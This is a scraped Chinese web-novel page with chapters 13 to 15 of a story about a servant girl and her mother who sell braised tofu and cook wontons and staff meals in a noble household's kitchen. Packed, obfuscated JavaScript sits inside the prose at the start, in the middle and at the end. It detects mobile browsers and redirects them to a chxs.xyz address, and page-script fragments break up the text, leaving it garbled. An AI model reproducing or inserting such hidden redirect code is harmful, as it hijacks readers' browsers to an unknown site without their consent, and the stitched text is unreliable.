;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而身为侯府的粗使，他们每月虽然只有两百文的月钱，但府里包吃包住，还提供衣服等物件，最后能攒下的银钱和外面普通人家差不多。 要是三等、二等乃至一等，甚至成为管事妈妈，那收入更是翻了数倍。 尚住在苏家村的时候，蒋珍娘曾几回捡了鸡蛋野菜等物到集市上贩卖，往往要叫卖上整天，到手也顶多几十个铜钱。 她从来没想过做生意能这么赚钱，更没有这么快赚到钱过。她越想越是神采奕奕，笑着与苏芷寒说道：“一日赚四百文，一年起码能赚到十万文，也就是一百余贯钱！” 哪有阿娘说得那么简单哦！ 没等苏芷寒接话，越算越兴奋的蒋珍娘把算盘打得啪啪作响，拉着女儿念叨起后面：“我瞅着虎皮鸡蛋热着更好吃，冷了味道差些，而且后头天气越来越凉了，要不咱们租个炉子热一热再卖？” “那还得在外面赁间屋子了。”苏芷寒瞧蒋珍娘从一开始的勉强帮你一把，到现在的见钱眼开，又是好气又是好笑：“再说了咱们难不成出去两三时辰？都有仆妇婆子都开始打听咱们出门是做什么的了。” 顿了顿，苏芷寒又道：“更何况，市面上已有卖卤汁豆干的了。” 13.一碗小馄饨 “唉！？”蒋珍娘猛地愣住。 “阿娘您没注意到吗？”苏芷寒闻言，心里晓得是阿娘一心扑在生意上，没得空注意其他。反而是自己，有了阿娘帮忙，售卖时空闲许多，也会注意周遭瞧瞧有何商机，问问市面价格，希望能寻到更快赚钱的法子。 其他生意还没个头绪，她先瞧见同样在售卖卤汁豆干的年轻娘子，甚至有一人直接给她家豆干取名为孙相公豆干，明摆着就是碰瓷。 好在苏芷寒从拿出卤汁豆干开始售卖起，她便晓得后头定然会有人跟着售卖，只不过时间长短罢了，倒也没不高兴，只琢磨思考起后头的办法。 “阿娘放心，如今还是只是几家零散卖的，他们卖的味道肯定没咱们的好。” 苏芷寒先安慰蒋珍娘，而后话锋一转又说出他们的困境：“不过他们贩卖的时间会比咱们长，多少也会抢占到一些。” 作为侯府仆役，他们要先完成自个儿的工作，才能有空闲时间出去贩卖。比如大姑娘回门宴那日，她们中午都没出门售卖，到晚间才去夜市市井叫卖。 蒋珍娘也晓得，只是想着这般的好生意，多少心里不是滋味：“要是咱们以前晓得……” “那都被阿爹拿去了，连本钱都不会留。” “……也是。”蒋珍娘瞬间心平气和。 “零散的小贩也就罢了。”苏芷寒最关注的不是散卖的摊贩，而是市井里开脚店铺子的商贾：“我对我的手艺有信心，那些人做的定是不如我，不过开铺子的厨子就说不定了。” 做生意的人，尤其能长长久久在市井里做生意的人都嗅觉敏锐，想来是不会错过这利润颇高的吃食，应当也有铺子在琢磨方子了。 她们在售卖的卤汁豆干，为了控制成本，所以用的香料不多，配方也相对简单，若是富有经验的厨子，乃至味觉出众者应当能分辨出香料，琢磨出比例，做出味道相仿的豆干来。 苏芷寒从未小看着当下的同行本事，更何况前两日大姑娘回门宴时，许厨娘所做的席面让她刚刚震惊过，她可以确定即便在后世，许厨娘的手艺也绝对是大师级的！ “若是味道能与我们有七八分相似。” “再加上他们本身便有客户，还可以对外销售，而咱们售卖的时间和地点又不固定，恐怕等他们生意稳定以后，咱们的生意便会渐渐变差。” “最重要的是，咱们的卤汁豆干很是百搭，无论是放在茶馆酒楼里，还是放在零嘴铺子里售卖都没问题。” 另外卤汁豆干用的食材便宜，即便用的香料不差，利润也远超本钱，更何况他们稳定的进货渠道能把成本压得更低。 而对于制作酱肉卤味的铺子来说，要做的不过是油炸豆腐，再放入卤味里调制，做出来的味道便能八九不离十。 蒋珍娘刚还想着自家一年赚百贯，两三年便能在京城置办个宅子，那梦就直接被女儿给打破了。 她心里不是滋味，瞬间没心情说事儿，嘴巴都噘得可以挂油瓶了。 蒋珍娘一屁股坐在凳上，双手扯着汗巾子，闷闷不乐：“这么说，咱们就只能等着生意越变越差？” 苏芷寒笑道：“倒也不是。” 蒋珍娘登时打起精神，圆眼瞅她：“你有别的想法了？” “有是有了，不过还得空了去问问。” “这不明日早上有半日假，我打算出去瞧一瞧。” “我寻人换个班，也跟你一道去！” “行吧。”苏芷寒欣然同意，高高兴兴定下来。 蒋珍娘把赚得的钱都放进匣子里，看向买回来的东西：“寒姐儿，离上值还有些时间，你回屋里睡一会？” 进入大厨房以后，苏芷寒的工作时间也得已大大缩短。她如今跟着曹妈妈一道负责给粗使制作吃食，只要午食和晚食提前准备即可，当然苏芷寒身为新人，也会提前到大厨房里跟映红杨柳一道备菜做事，打打下手。 “我不累，阿娘先去躺会吧？”苏芷寒摇摇头，起身去角落里翻出袋面粉来：“我打算趁着有空包点馉饳，明早上咱们可以拿来当早食吃。” “馉饳……你会吗？” “镇上那位摆摊子卖馉饳的爷爷，曾教我过的。”苏芷寒随便扯了个过去的人物，反正阿娘和自己都不会回那块地方了。她说的馉饳，也是角子的一种，因着皮薄肉少，入口即化，苏芷寒觉得更接近后世的小馄饨。 “哎……”蒋珍娘心生疑惑，她记得那老头凶狠得很，还曾为食客有没有付钱而大吵一架，后来进了衙门呢，咋会这么好心让女儿学。 蒋珍娘想了想，又想起那般好吃的炸酱和烧肉来，她很快肯定估摸是女儿聪慧，偷偷看着学会的。 她没拆穿苏芷寒的谎言，笑眯眯地撩起袖子：“阿娘也不累，来帮你吧？” “那——阿娘帮我切肉？” “行。”蒋珍娘其他不说，力气是够够的，她按着苏芷寒的叮嘱取出夹心肉，先去除多余的筋膜，再切片切条，然后切丁，最后剁成肉泥。 趁着蒋珍娘准备肉的期间，苏芷寒耐心地筛着面粉，直至面粉色泽渐渐变白，粗糙的颗粒大多被清除干净才罢休。 她把面粉倒在案板上，右手握拳轻轻推出一个圆心。紧接着，苏芷寒往里放入适量的盐巴、而后打入一颗鸡蛋，加入少许清水。 她的左手轻轻搅拌着面糊，右手时不时往里加点清水。随着双手的不断动作，混乱的面絮亲密地糅合在一起，缠缠绵绵聚拢成一个大小合适的面团。 苏芷寒的动作太过娴熟，甚至优美得如同艺术。要是蒋珍娘抬眸瞧上一眼，恐怕又要怀疑女儿从谁家偷学了揉面手法，不过还好她沉迷剁肉，还真没注意苏芷寒的动作。 随着案板逐渐变得干净，面团尽数在苏芷寒的掌心集中。她双手交错，时而轻柔，时而用力，面团从刚开始的开裂坚硬，渐渐柔软无骨，富有弹性，最后变成光滑平整的面团。 等苏芷寒给面团盖上被子，放到一旁醒面时，蒋珍娘也把剁好的肉馅装进大碗里。她抹了抹手，笑道：“寒姐儿，再然后呢？” 苏芷寒擦了擦手，往里放了一搓粗盐、砂糖和胡椒粉，然后她一边准备葱姜水，一边吩咐蒋珍娘用手搅拌肉馅：“朝着一个方向搅拌，阿娘您放松点……对！就这样，力道要均匀，让肉馅有黏糊糊的感觉便差不多了。” 紧接着，她往里加了点葱姜水，然后吩咐蒋珍娘继续搅拌。来来回回几次以后，肉馅以肉眼可见的速度变得质感细腻，不但完全能够粘合在一起，而且弹力十足。 最后，苏芷寒往里加了点麻油，又吩咐蒋珍娘继续搅拌几下，让肉馅充分吸收麻油，与此同时她往案板上洒了点面粉，而后伸手掀开盖在面团上的毛巾，拿出擀面杖，准备开始做馄饨皮。 在苏芷寒的手里，那面团别提有多听话了。等蒋珍娘做完手里的事，又把手洗得干干净净，回头便发现女儿跟前是一张超出案板宽度的薄面皮。 甚至，苏芷寒还未止住动作。她展开一部分面皮，继续用擀面杖缓缓滚动，面皮越来越宽，越来越薄，只看得蒋珍娘目瞪口呆，脑海里蹦出个疑问来：那老头做的馉饳皮，有那么薄吗？ 卷起、压制、展开、滚动，再卷起…… 苏芷寒极有耐心，一边不断洒粉以避免面皮黏连，一边力道均匀地压制面皮，直至如宣纸般轻薄，放在掌心能透出肉色才停下。 蒋珍娘屏住呼吸，看着女儿的一举一动。只见女儿抽出擀面杖，将面皮切段，又摊平切块，而后摞在一起：“好啦~！” 直到苏芷寒开口说话，蒋珍娘才吐出一口长气来。她捡起一张面皮，细细端详，瞧这面皮薄而通透，且双手用力还能继续延展的架势，真真是震撼无比。 角子馉饳都是时下最为常见的吃食之一，她吃过好的坏的无数数，但像眼前这般的皮儿绝对是头一回！ 她的女儿……莫非是厨艺天才？！ 蒋珍娘捏着馄饨皮，兴奋不已，好半响才在女儿一连串的呼喊声中回过神来，傻傻地应了声：“啊？” “阿娘——我问您要不要吃点？” “啊？啊？哦！吃！”蒋珍娘挺好奇这薄薄的皮儿能有何不同，连连点了点头。 “行，那阿娘您去烧热水， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458049|152976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我来包点。”苏芷寒分配完工作，而后捡起一张面皮放在手指间，另一手拿起一双木筷，夹起一大块肉糜放入其中。 眨眼的功夫，案板上多出一只馄饨。 等热水烧滚，苏芷寒捡起十六个馄饨丢了热水里，最后再用上回留下的鸡油、粗盐和胡椒粉调个味，做个底汤，再把煮好的馄饨分别放两瓷碗里：“好了。” 苏芷寒端起瓷碗，一碗搁在蒋珍娘跟前，另一碗放在自己跟前：“阿娘，快尝尝吧。” 蒋珍娘抽了抽鼻子，明明是她亲眼瞧着女儿做的，调料也就那么几样，偏生跟前的鸡油做的馉饳汤鲜得教人心神恍惚。 她垂首瞧去，只见那瓷碗里浮着八个圆滚滚的馉饳。与市面上那些皮薄肉少，看上去颇似面皮汤的馉饳，瓷碗里的馉饳各个饱满丰盈，粉嫩嫩的肉馅几欲透出来。 围绕着馉饳的汤汁清澈透亮，上面落着几颗翠绿的葱花，另有灿金的鸡油晕染出圆圆的光晕。 柔和温润的香气随着热气氤氲而起，犹如一根落在心尖上的羽毛，勾得蒋珍娘心痒痒。她咽了下口水，不由自主地捡起汤匙，舀起一颗胖嘟嘟的馉饳来：“让我来尝一尝……” 话尚未说完，蒋珍娘便把馉饳送入口中。她晓得馉饳皮薄得惊人，可吃到嘴里任是大吃一惊，只需嘴唇轻轻一抿，面皮便在口中碎裂开来，里面满满的肉馅和汤汁瞬间喷涌而出，充斥着口腔每一寸。 一只尚未吃完，蒋珍娘便迫不及待地舀起第二只，只记得吸气吐气，免得被灼热的汤汁给烫到：“呼……呼……呼！” 苏芷寒瞧着蒋珍娘的反应，忍不住微微一笑。她取了点醋汁倒入碗里，随即舀起一颗放入口中。 吃罢，也差不多到了上值的时间。 蒋珍娘拿帕子给苏芷寒抹了抹脸，又取了面脂给她涂上：“走吧。” 母女俩锁了门，朝着府里走去。 等她们走远，王媳妇才从门里走了出来，不是滋味地瞅着母女俩的背影。就凭着刚刚屋里散开的味儿，便晓得她们定是在屋里吃好食了。 还有刚刚那么大的一块羊腩！ 王媳妇有大半个月没吃羊肉了，原想着等王婆子和郎君发月钱便去割一条，可现在郎君刚在三郎跟前站稳跟脚，总得讨好讨好管事，拉拢拉拢同僚，虽是月钱六百，但能拿回家的怕是只有一百五六十文。 而她家婆母倒好…… 王媳妇想到这里，扭着腰进了屋。她撇了一眼歪靠在炕上，搂着孙子捡卤鸡肠吃的王婆子，犹豫了下，还是开口劝道：“娘，您已请了五日假了，是不是该回府里做事了？” 就因丢了脸子，怕被人笑话，所以一连几日都没去府里做事，这个月能拿到的月钱恐怕要缩水不少。 王媳妇心里犯着嘀咕，抬眸想瞅瞅婆母的态度，哪晓得一抬眼，就对上王婆子如刀子般尖锐犀利的眼神。 她心里一颤，想说的话被堵在喉中。 王婆子瞥一眼，都晓得王媳妇心里的念头，她是嫌自己待家里久了，没钱拿回来！ 王婆子黑着脸，张嘴便要开骂。不过她慢了一步，王媳妇抢在前头解释：“娘，我没有嫌您不去府里做活的意思！我，我，我巴不得您在屋里，好让我日日孝敬您呢！我是怕您要是一直不去府里做事，万一后头管事教您往后不要去……又或是活计被人占了去，那可怎么办？” “再说了。”王媳妇努努嘴，往蒋家人住的屋子比划了下：“蒋家人这两天阔绰得很，您说会不会是大姑娘回门时发了赏钱？” 前两日可是大姑娘的回门宴，她没去府里做事，也没人来喊一声…… 王婆子后知后觉感到一丝不妙，心里想赶紧去府里做事，又觉得在媳妇跟前丢了面子，板着脸道：“就你多嘴！我与管事妈妈是什么关系？她哪舍得教我走？” 王媳妇陪着笑脸：“是，是，您和徐妈妈哪是一般般的关系，想来是媳妇我多虑了，就是我担心时间长了，恐怕别人在徐妈妈身边碎嘴，影响了娘与徐妈妈的感情。” 王婆子勉勉强强哼了声：“我晓得了，再懒半天，我明早上便回去。” 14.大馋丫头 与此同时，苏芷寒也来到大厨房。 她刚进院子，便见着孤零零坐在井边洗菜的映红。苏芷寒往里瞅了眼，见曹妈妈等人还没过来，灶房里也没别的事要做，便上前捡了张板凳，又拉来一筐子尚未清洗的蔬菜。 “嘶——”苏芷寒轻轻抽了口气。 随着天气渐冷，那水也冷得厉害，她的一双手刚刚落进凉水里便瞬间僵住。 井水的冷气宛如锐利的尖针，一下接着一下刺着皮肤，直往骨头里钻。 “寒姐儿，你放着我做就行了。”映红听到声音，才注意到苏芷寒也来了。她急忙伸手把盆子拉到身侧，教苏芷寒赶紧进灶房里烧火去。 “曹妈妈都还没来呢，这么早烧火做什么？”苏芷寒不以为然，又把蔬菜盆子拉到身边：“我帮你一道洗，两个人的速度肯定比一个人快……” 说到这里，苏芷寒微微一愣。她环顾四周，并未看到平时都在这里的某人：“话说杨柳姐去哪儿了？又被妈妈喊去跑腿了吗？” “……”映红手上动作顿了顿，而后回答道：“她往后不在大厨房做事了。” “哎……？” “她去前院洒扫了——就是你之前留下的位置。”映红抬眸撇了一眼苏芷寒，低头拎起洗好的菜。她甩了甩水，把洗好的蔬菜放进身侧的盆子里，随即又继续清洗下一批菜。 苏芷寒恍然大悟之余，心中又升起新的疑问。自打上次她说打算留在灶房，不打算回去洒扫以后，杨柳便向她打听了许多事情。 现在想来，杨柳那时应当就起了心思。 只是苏芷寒跟着蒋珍娘去送过礼，晓得那位管洒扫的李妈妈也是个贪财之人，自家阿娘足足给了一贯钱，另有好肉好布，这才让她松了口。 而杨柳的情况，应当还没自己好！ 苏芷寒悄声道：“我记得杨柳姐是家里出了事，而后才被家里人卖给人牙子，最后才进府里的……她的卖身钱应当都给家里了，这……哪来的钱给李妈妈？” “她认了李妈妈当干娘。” 映红也压低声音，悄悄把自己听来的消息告诉苏芷寒：“说是以后，她会所有的月钱都给李妈妈，为她养老送终呢。” 苏芷寒不愿给人当干女儿，可府里多的是乐意这么做的人，就比如杨柳。她与家里人无甚感情，也没有别的赚钱法子，便只能拿月钱来换李妈妈的好感。 苏芷寒万万没想到，自己费尽心思不愿成为赵婆子的干女儿，而杨柳却是挖空心思，自愿去当其他妈妈的干女儿。 这般截然不同的想法，让她难免心情复杂。半响，苏芷寒才定了定神：“杨柳姐是个有主意的人，想来定是有她的想法，咱们也该为她庆贺庆贺，祝她一路顺风。” “你给她庆贺什么哦！”映红瞅了一眼苏芷寒，脸颊气鼓鼓的。自打上回在外面遇见珍珠与绣荷争执之后，映红与姐姐的关系也逐渐破冰，再没往日那般僵硬。 也因为那日的事，映红对杨柳心怀芥蒂。先不说珍珠与绣荷吵架牵连到自己的那次，她躲在后头一言不发，直到绣荷和姐姐买东西请大家吃时，她才又凑上前来。 单是映红回想过去，就发现每次出门都是自己花钱，而杨柳却总是一毛不拔。 打那以后，映红对杨柳便爱答不理的。 她瞅着还说应当为杨柳庆祝的苏芷寒，鼻子哼哼两声：“你替她着想做什么？瞧瞧她和甩手掌柜般跑了，苦的是咱们。” “想来许厨娘应当会补人的吧？”苏芷寒并不担忧，杨柳是入府以后，就被管事分到大厨房的，是名正言顺归许厨娘管理的。 侯府管理细致，条案极多，除非像是苏芷寒这般被主子点名去别处的，否则私下想要更换办事之地，那就得征得原本的管事，和新地方管事的同意。 既然许厨娘愿意让杨柳走，肯定是有缘故的。苏芷寒见映红嘟着嘴，不高兴的样儿，想了又想，而后指向自己：“莫非你担心许娘子想让我顶了杨柳的事？” 苏芷寒压低声音：“我是二姑娘使人送进大厨房的，许厨娘顶多教我跟着曹妈妈做事，不会让我直接顶了杨柳的事。” 在大厨房里，苏芷寒的身份有点尴尬。 她实则拿着粗使的月钱，名义上却是二姑娘安排进来做茶糕的。许厨娘看她不顺眼，却也不好教她接手杨柳的事情，免得传出给二姑娘乃至伯府娘子做点心的是粗使这种丢脸面的事来。 可真教苏芷寒直接做厨娘，许厨娘自是不愿意的，她索性安排苏芷寒跟着曹妈妈，美其名曰跟着学厨艺。 可曹妈妈哪有什么厨艺，她最初是厨房里负责采买的仆妇，后头有人相中她那油水足的位置，硬是把她挤兑成给粗使做吃食的掌勺婆子，日日做着烙饼、炒杂碎和炖杂碎三样东西。 苏芷寒进厨房几日，便晓得许厨娘有意摆着自己，不过她晓得侯府未来情况以后，日日琢磨着赎身法子，未曾赶上前巴结讨好。 有些人瞧着寒姐儿，觉得她是个傻大妞，连天降的机会都把握不住。等二姑娘忘了茶糕，她估摸就得重新成为个粗使，别想再有出头的日子。 也有人瞧着寒姐儿，觉得她是个不骄不躁的，稳稳当当，说不定往后也有别的前程。 一边嫌弃她愚笨，一边担心她多思，两边人没来接触过，倒是给了苏芷寒几日清闲。 映红凑到苏芷寒耳边，嘀咕道：“我听说许娘子之所以会同意，是因为曹妈妈说要让女儿进灶房做事。” “曹妈妈的女儿也要来？”苏芷寒微微一愣，她对曹大丫有些印象，记得曹妈妈拿自己与她比较，弄得几个婆子仆妇看热闹。 “是啊。”映红见她终于露出点惊讶之色，噘着嘴念叨：“你就长长心吧！你瞧瞧厨房里的妈妈，哪个舍得教女儿做苦活的？” “到时候曹妈妈教你帮曹大丫做事，你帮不帮？那曹大丫在府里颇有名气，听说已被其他地方退回去好几回了！” 被其他地方退回去好几回？ 映红说的话太过耳熟，教苏芷寒没忍住，抬眸瞅她。 映红起初还没回过神，而后小脸微微泛红。她嘟着嘴，压低声音道：“我是因笨被阿娘领回去的，而她都是因懒被领回去的！不一样啦！” 苏芷寒连连点头，表示认同。她见映红鼓着脸颊，别过头，摆出一副不要理自己的架势，厚着脸皮凑上前去。 她拉了拉映红的手，教她不要说：“灶房里还有人呢，你这些话可千万别再说了。要有人告到曹妈妈跟前，反倒是教你尴尬。” “我还不是担心你……” “我晓得的，你放心吧！”苏芷寒可不是会让自己吃亏的人，定有办法拿捏得曹大丫老实做事。 等两人把蔬菜瓜果洗净，准备开始烧火时，曹妈妈也带着曹大丫走进大厨房，一路领到许厨娘跟前问好。 苏芷寒那日没仔细打量，今日特意抬眸打量了一番，只见曹大丫身量高挑，圆润的鹅蛋脸上带着几点小雀斑，长相与曹妈妈很是相似。 似乎察觉到有人在注视自己，曹大丫也抬起眼眸看来，恰好与苏芷寒的视线相对。 苏芷寒嘴角微微上扬，下意识地露出不失礼貌的笑容。出乎她意料的是，曹大丫先是愣了一下，而后对着自己露出大大的笑容，热情至极。 苏芷寒：？ 她心里不解，还是朝着曹大丫笑了笑，而后继续开始忙手上的活计，直到曹妈妈领着曹大丫过来，她才起身问好。 曹妈妈笑道：“寒姐儿，往后还要麻烦你带一带大丫。” “是，我晓得了。” “你不必紧张。”许是看出苏芷寒的不自在，曹妈妈又赶紧补充了一句：“大丫是个懒的，你可千万别看着我的面上便惯着她，她该做啥就叫她做啥，知道了没？” 苏芷寒：？？

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14466069|152976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她愈发不解，只觉得应当是曹妈妈在客气。苏芷寒迟疑着应了声，感觉事有蹊跷的她用眼角余光去瞥曹大丫，想从曹大丫的反应下手。 然后，她便看见被曹妈妈念叨懒散的曹大丫非但没有面露不满，而且还兴奋不已！？ ……这正常吗？ 苏芷寒心里嘀咕，试探着开口吩咐曹大丫去搬柴火，一道帮忙烧水。她盯着曹大丫的表情，却发现曹大丫脆生生地应了声是，随即乖乖去帮忙了。 苏芷寒：？？？ 紧接着苏芷寒又带着曹大丫一道去打水，清扫灶台，帮忙切菜……到最后一步曹大丫终于卡了壳。 要说苏芷寒切出来的萝卜那是片片匀称，几乎和模子里刻出来般一模一样，那曹大丫切的萝卜教那名掌勺婆子脑门上青筋都蹦了出来，连连喊停：“这些萝卜怎么用？都拿去给粗使们用吧。” “曹姐姐，你女儿怎么连切菜都不会——”她嘴里抱怨着，把曹大丫赶到一边去。 曹大丫的脸终于垮了下来。 正当苏芷寒做好应对准备的时候，她又精神一振，眼儿瞅了过来：“寒姐儿，接着我做啥？” 苏芷寒：“……要不你去剁肉馅吧？” 曹大丫干劲十足，按着她的指挥去做了。 苏芷寒手里切着萝卜，眼角余光还瞅着曹大丫，她做得认真，完全没露出半点不耐烦和偷懒的态度。 “……曹大丫是改性了？” “和你说得完全不一样。”苏芷寒与溜到身边的映红嘀咕，“莫非也是旁人说说的？” 映红觉得不太可能，可看着埋头干活的曹大丫又有些恍惚。她犹豫了下，迟疑着点点头：“……也许？” 映红心里莫名愧疚，趁着空闲时还递了颗蜜枣给曹大丫：“给你吃！” 又累又渴的曹大丫喜盈盈地接过，而后又从苏芷寒接过一碗用杏仁膏搅的杏仁水，甜甜蜜蜜的味道在口中四溢而开，登时把曹大丫满身的疲倦统统扫去。 “后头就没什么事了，坐会吧。” “好嘞。”曹大丫迫不及待地坐下，正要说话便听到肚子咕噜噜的叫唤声。 她下意识揉了揉肚子，而后期待地看向苏芷寒：“寒姐儿，映红姐，今日咱们晚食吃什么？” 苏芷寒和映红齐齐愣了愣，映红迟疑了下，答道：“晚食？应当是……饼子加炖杂菜吧？对吧？我没记错吧？” “今日中午吃的是炒杂菜，晚上便是炖杂菜，没错的。”苏芷寒点了点头，附和道，倒是曹大丫的态度好生，满眼期待和雀跃，好似晚食是什么美味一般。 “炖杂菜！？”曹大丫发出一声惊呼，她圆圆的脸蛋皱成一团，半响才犹豫着指手画脚：“不会是那个鸡杂鸭杂啥的，加一堆菘菜萝卜等物炖出来的东西吧？” “没错，就是这个。” “…………”曹大丫如遭雷击，圆圆的眼儿都滚起泪花：“不得是炸酱饭什么的？” “笨蛋，你胡说什么呢。”曹妈妈走到女儿身旁，还没问上两句就听到她在胡说八道，登时气不打从一处来。 曹妈妈伸手拧着曹大丫的耳朵，横眉竖眼道：“就晓得你这丫头有心眼，有的吃饼子和炖杂菜就不错了，你咋还想吃肉了！” “痛痛痛痛痛——” “你痛了才晓得错！瞧瞧你刚刚切的萝卜像什么样？大大小小的，丑死了！回头你就给我切一百根萝卜！” “哎——” “哎什么哎，就得这么做。”曹妈妈冷笑一声，前几回女儿去的都是别处，她想管都没办法管教，而这回放在眼皮子底下，她不好好把大丫的性子掰回来，她就把名儿倒过来写。 苏芷寒瞧着曹家母女的吵闹，想着曹大丫提起的炸酱，再联想映红说的事儿，登时有了个让她哭笑不得的结论。 曹大丫，莫非是个被炸酱吸引来干活的……大馋丫头？ 15.由你来做 曹家母女压着嗓子吵吵闹闹，被美食诱惑而来的曹大丫满眼写着不乐，噘着嘴儿咕哝着：“这么累，还只能吃炖杂菜……” “死丫头，说什么胡赖话呢？”曹妈妈没忍住，伸手又狠狠拧了下曹大丫的耳朵。她脸上带着恼意，叱道：“咱们做下人的，做活都是应当的，哪能叫苦叫累？” 就这么一句，传到管事耳中就有的是曹大丫苦头吃。曹妈妈瞅着没心没肺，眼里就只有‘吃’字的女儿，心里竟是生出些悔意。 她原是想教女儿到灶房里好好学手艺，往后也有个奔头，现在又担心大厨房里人多眼杂，指不定哪日女儿口无遮拦，被旁人听到错处，没学到手艺先把自己给赔进去。 曹妈妈愁得都要口角长疮了，曹大丫还一脸无辜：“可是阿娘上回还说咱们不能说谎啊，我真的就是L——呜呜！” 苏芷寒眼看曹妈妈眉毛倒竖，眼珠子瞪得宛如铜铃，赶紧伸手捂住曹大丫的嘴，免得曹妈妈血压持续飙升。 她笑了笑，插话道：“曹妈妈，其实那炖杂菜和炒杂菜……咱们也吃腻了，不如今日便换个菜色吧。” 曹大丫被捂着嘴，也是连连点头。 曹妈妈瞪着两人，没好气道：“你们以为我不想啊？可我也没办法，剩下的这点预算也就只能做这个了。” 她负责粗使的饭食，没少听过粗使们的抱怨，可谁让粗使是侯府的最底层。 虽说下人们的吃食，府里有额外出钱，可侯府上下有那么多的小厮、丫鬟和仆妇婆子，总有前有后，有好有差。 那些银钱得先紧着一等二等的吃用，随后轮到三等的，最后剩下那点才是给粗使们做吃食用的。 曹妈妈刚接手掌勺厨子的活计时，也曾想过法子，意图从管事手里多要点预算钱。可她说了两回，便被管事打发走了，话里话外的意思是若是粗使们不爱吃府里提供的餐食，便自己花钱去买吃的。 她也没法，只好用剩下的银钱来做吃食，蔬菜便选菘菜、萝卜、芹菜、蕨菜和豆腐之类价贱的，荤菜便是府里做菜用剩下的碎肉和下水等物，另外能用的调料和香料也是少之又少。 曹妈妈说到这里，忍不住摇了摇头，念叨起往事：“以前老太太管家的时候，粗使们的餐食还是一道素菜，一道荤菜，另外还有菜肉馒头、饼子和粟米饭，哪像是现在这样……” 话说到一半，曹妈妈猛地停住嘴。她紧张地瞅了眼四周，连忙转移话题：“就这点东西能用，我也做不出个花啊。” 炒杂菜和炖杂菜许是味道一般，但量大管饱，做法也简单不容易出错，是曹妈妈这个半道出身的掌勺厨娘最好的选择。 “寒姐儿肯定有办法的！”曹大丫闻言，瞬间接过话茬，满眼期待地看向苏芷寒。 在曹大丫看来，她娘做不出花样也是正常的。她娘压根不擅长厨艺，据曹大丫她爹说当年曹妈妈被分到大厨房当掌勺婆子，那是赶鸭子上架，纯属是被逼无奈。 放过去那是无甚办法，可现在有办法了。曹大丫这人自来熟，明明是头一日与苏芷寒说话，已是上手挽着她：“寒姐儿，我瞧你那日做的炸酱就挺好，另外只要焯一盆子索饼，每人来上一份，舀上一勺岂不美哉。” 说到底，曹大丫还念着炸酱呢。 曹妈妈心中复杂，又是好气又是好笑，她伸手就要去拧曹大丫的耳朵：“死丫头，都到大厨房来做事了你还胡闹。” “今日粗使用的食材都备齐了，哪能说换就换的？你要是再敢胡闹，我回去就揍你！” “那可不一定。”曹大丫到此刻，都没歇了心思，她围着苏芷寒直绕圈，躲着曹妈妈的手，反正那炖杂菜炒杂菜什么的她才不要吃嘞！ 苏芷寒被绕得头晕眼花，旁边的映红看得目瞪口呆。曹妈妈眼瞅着动静越来越大，连大厨房里其余人都往这边看来，也终于是服了软：“寒姐儿，要不你来试试？” 苏芷寒愣了愣：“这——” 曹大丫脚步一定，唯恐苏芷寒拒绝的她连忙凑上前去：“寒姐儿，你试试嘛！反正最糟糕也就炖杂菜或是炒杂菜了，做什么大家都会喜欢的。” 这话说的，苏芷寒都不晓得该怎么接话了。她抬眸往曹妈妈看去，只见曹妈妈无奈叹气：“你若是想试试，就试试吧。” 无论是那茶糕，还是那炸酱，还有做烙馍时一学就会的水平，都是曹大丫赶不上的。曹妈妈瞧苏芷寒是个有天赋的，说不定往后能有大出息。 曹妈妈也没别的想法，就想着她家大丫又懒又馋，怕是无前途可言。若是能与尚且未起势的寒姐儿结个善缘，往后不求提携大丫，但求寒姐儿记着她家的好，能拉大丫一把。 曹大丫不晓得曹妈妈的苦心，只巴巴地瞅着苏芷寒。而苏芷寒则看出曹妈妈有意给女儿铺路的慈母心，止不住联想到蒋珍娘身上。 苏芷寒想了想：“那我就试试？” 曹妈妈笑了笑：“去试试罢。” 有了曹妈妈的应允，苏芷寒也撩起袖子上了。她站在原地，仔细查看今日所有能用的食材，想了想以后先把去了肉的鸭架取出，又加了两根用剩下的猪骨，与葱姜蒜一道放入锅里炖煮汤底。 “唔……厨房里有没有油豆腐？” “没有。”曹妈妈摇了摇头，“现在去市面上买可来得及？” “那也成……那就买五块老豆腐吧。”苏芷寒想起归属粗使的饭食钱不够，再瞅见放在灶台下的菜籽油，改口道。 一块老豆腐仅仅两三文，可经过油炸售卖的油豆腐，一袋便要卖十五六文。反□□里菜籽油是统一采购的，不算在开销之中，倒不如买了食材再来制作呢。 “那我去吧。”正巧没事做的映红走上前，与苏芷寒说道。 “好……” “我去我去！”曹大丫全程都在干瞪眼，愣是没帮上一点忙。她听到苏芷寒的要求后，立马举起手来，抢先从曹妈妈手里拿过十几个铜板：“我跑步可快了！” “要不我和你一起去？”映红想着自己先前误会曹大丫的事，心里不好意思，便想着跟着曹大丫一道去，也好说说话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 